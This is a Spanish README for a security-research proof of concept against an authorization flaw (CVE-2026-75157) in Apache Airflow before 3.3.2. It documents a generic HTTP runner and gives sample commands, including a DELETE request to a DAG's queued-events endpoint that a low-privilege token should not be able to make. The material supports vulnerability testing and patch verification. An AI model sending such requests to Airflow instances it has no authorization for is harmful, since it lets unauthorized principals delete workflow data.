
PoC HTTP universal autorizado e independiente para CVE-2026-75157
PoC de investigación de seguridad autorizada para la falla de autorización de eventos en cola de Apache Airflow en versiones anteriores a la 3.3.2.
Ejecútelo únicamente contra una instancia de Airflow que sea de su propiedad o que esté explícitamente autorizado a probar. El ejecutor predeterminado rechaza objetivos que no sean de loopback. Este repositorio no contiene lógica de escaneo, enumeración de objetivos, persistencia, robo de credenciales ni payloads destructivos.
README.md
poc.py
poc.py es un ejecutor universal de solicitudes HTTP consciente del objetivo. Acepta la URL de destino, el método, la ruta, los encabezados, el cuerpo, la fuente de autenticación y el resultado esperado desde la línea de comandos en lugar de codificar un host de forma fija.
Verificación de estado contra un laboratorio local de Airflow:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
Disparador de CVE contra una instancia local vulnerable de Airflow ya preparada:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
El token debe pertenecer a un principal desechable con acceso de lectura a DAG y acceso de eliminación a Assets. El comportamiento vulnerable esperado es que el principal restringido pueda eliminar el evento en cola. Airflow 3.3.2 o posterior debería rechazar la misma solicitud a menos que el principal también tenga acceso de edición a DAG.
--target URL Required absolute HTTP(S) target
--path PATH Optional path joined to --target
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Repeatable request header
--bearer-env ENV Read a bearer token from ENV without printing it
--json JSON JSON request body
--body-file FILE Raw request body
--expect-status STATUS Repeatable expected status assertion
--expect-body TEXT Repeatable response-body assertion
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Explicit opt-in for an authorized non-lab target
El ejecutor devuelve el código de salida 0 para una aserción aprobada, 1 para errores de alcance/transporte/argumentos y 2 para un fallo de aserción HTTP. Los valores de autorización y cookies se redactan en la salida.
Antes de Airflow 3.3.2, las rutas DELETE de eventos en cola verificaban el eje DAG con permiso de lectura en lugar de permiso de edición. La corrección cambia el requisito de autorización de DAG al permiso de nivel de escritura. Este PoC envía la solicitud HTTP real; no crea el usuario de laboratorio ni el fixture de base de datos.